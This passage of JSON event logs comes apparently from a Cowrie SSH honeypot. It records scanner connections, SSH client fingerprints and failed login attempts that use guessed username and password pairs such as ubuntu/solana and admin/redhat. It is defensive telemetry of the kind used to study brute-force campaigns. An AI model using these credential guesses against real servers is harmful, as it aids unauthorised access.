-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:33.901448Z","src_ip":"2.57.122.96","session":"1ea5233c55d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:34.213018Z","src_ip":"2.57.122.96","session":"1ea5233c55d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:35.319085Z","src_ip":"2.57.122.96","session":"1ea5233c55d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35178,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dbcada30fde","protocol":"ssh","message":"New connection: 193.32.162.145:35178 (159.203.135.109:22) [session: 0dbcada30fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:45.498200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:45.502240Z","src_ip":"193.32.162.145","session":"0dbcada30fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:45.607697Z","src_ip":"193.32.162.145","session":"0dbcada30fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:45.959988Z","src_ip":"193.32.162.145","session":"0dbcada30fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:47.066180Z","src_ip":"193.32.162.145","session":"0dbcada30fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":36654,"dst_ip":"10.17.0.5","dst_port":22,"session":"2faf139b7c5f","protocol":"ssh","message":"New connection: 14.225.2.125:36654 (10.17.0.5:22) [session: 2faf139b7c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:49.656707Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:49.920334Z","src_ip":"14.225.2.125","session":"2faf139b7c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":36670,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2ac047e0991","protocol":"ssh","message":"New connection: 14.225.2.125:36670 (10.17.0.5:22) [session: d2ac047e0991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:50.177419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:50.181186Z","src_ip":"14.225.2.125","session":"d2ac047e0991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:50.443472Z","src_ip":"14.225.2.125","session":"d2ac047e0991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bio3","password":"1234","message":"login attempt [bio3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:51.230886Z","src_ip":"14.225.2.125","session":"d2ac047e0991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:52.494976Z","src_ip":"14.225.2.125","session":"d2ac047e0991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":35324,"dst_ip":"159.203.135.109","dst_port":22,"session":"94a1cebefc97","protocol":"ssh","message":"New connection: 196.188.63.205:35324 (159.203.135.109:22) [session: 94a1cebefc97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:21:54.049356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:21:54.053400Z","src_ip":"196.188.63.205","session":"94a1cebefc97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:21:54.259396Z","src_ip":"196.188.63.205","session":"94a1cebefc97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"dbadminpass","message":"login attempt [dbadmin/dbadminpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:21:55.111157Z","src_ip":"196.188.63.205","session":"94a1cebefc97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:21:56.318352Z","src_ip":"196.188.63.205","session":"94a1cebefc97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":36834,"dst_ip":"159.203.135.109","dst_port":22,"session":"43ecc71abf0e","protocol":"ssh","message":"New connection: 154.221.28.214:36834 (159.203.135.109:22) [session: 43ecc71abf0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:10.931153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:10.934782Z","src_ip":"154.221.28.214","session":"43ecc71abf0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:12.585090Z","src_ip":"154.221.28.214","session":"43ecc71abf0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redhat","message":"login attempt [admin/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:13.196676Z","src_ip":"154.221.28.214","session":"43ecc71abf0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:14.403261Z","src_ip":"154.221.28.214","session":"43ecc71abf0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57732,"dst_ip":"159.203.135.109","dst_port":22,"session":"c08fc69f3c1f","protocol":"ssh","message":"New connection: 195.178.110.218:57732 (159.203.135.109:22) [session: c08fc69f3c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:27.588724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:27.593377Z","src_ip":"195.178.110.218","session":"c08fc69f3c1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:27.673032Z","src_ip":"195.178.110.218","session":"c08fc69f3c1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:27.910508Z","src_ip":"195.178.110.218","session":"c08fc69f3c1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:28.991751Z","src_ip":"195.178.110.218","session":"c08fc69f3c1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":38162,"dst_ip":"159.203.135.109","dst_port":22,"session":"840a7992ad9d","protocol":"ssh","message":"New connection: 160.191.244.236:38162 (159.203.135.109:22) [session: 840a7992ad9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:30.114382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:30.119736Z","src_ip":"160.191.244.236","session":"840a7992ad9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:30.362863Z","src_ip":"160.191.244.236","session":"840a7992ad9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test4","password":"12345678","message":"login attempt [test4/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:31.306206Z","src_ip":"160.191.244.236","session":"840a7992ad9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:32.533729Z","src_ip":"160.191.244.236","session":"840a7992ad9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54438,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea8d7c3dd8c5","protocol":"ssh","message":"New connection: 193.32.162.145:54438 (159.203.135.109:22) [session: ea8d7c3dd8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:56.170540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:56.174407Z","src_ip":"193.32.162.145","session":"ea8d7c3dd8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:56.273449Z","src_ip":"193.32.162.145","session":"ea8d7c3dd8c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:56.572660Z","src_ip":"193.32.162.145","session":"ea8d7c3dd8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:22:57.678232Z","src_ip":"193.32.162.145","session":"ea8d7c3dd8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":45896,"dst_ip":"159.203.135.109","dst_port":22,"session":"a178461e7014","protocol":"ssh","message":"New connection: 2.57.122.96:45896 (159.203.135.109:22) [session: a178461e7014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:23:32.761268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:23:32.764237Z","src_ip":"2.57.122.96","session":"a178461e7014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:23:32.864174Z","src_ip":"2.57.122.96","session":"a178461e7014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"ubuntu","message":"login attempt [solana/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:23:33.169338Z","src_ip":"2.57.122.96","session":"a178461e7014","protocol":"ssh"}
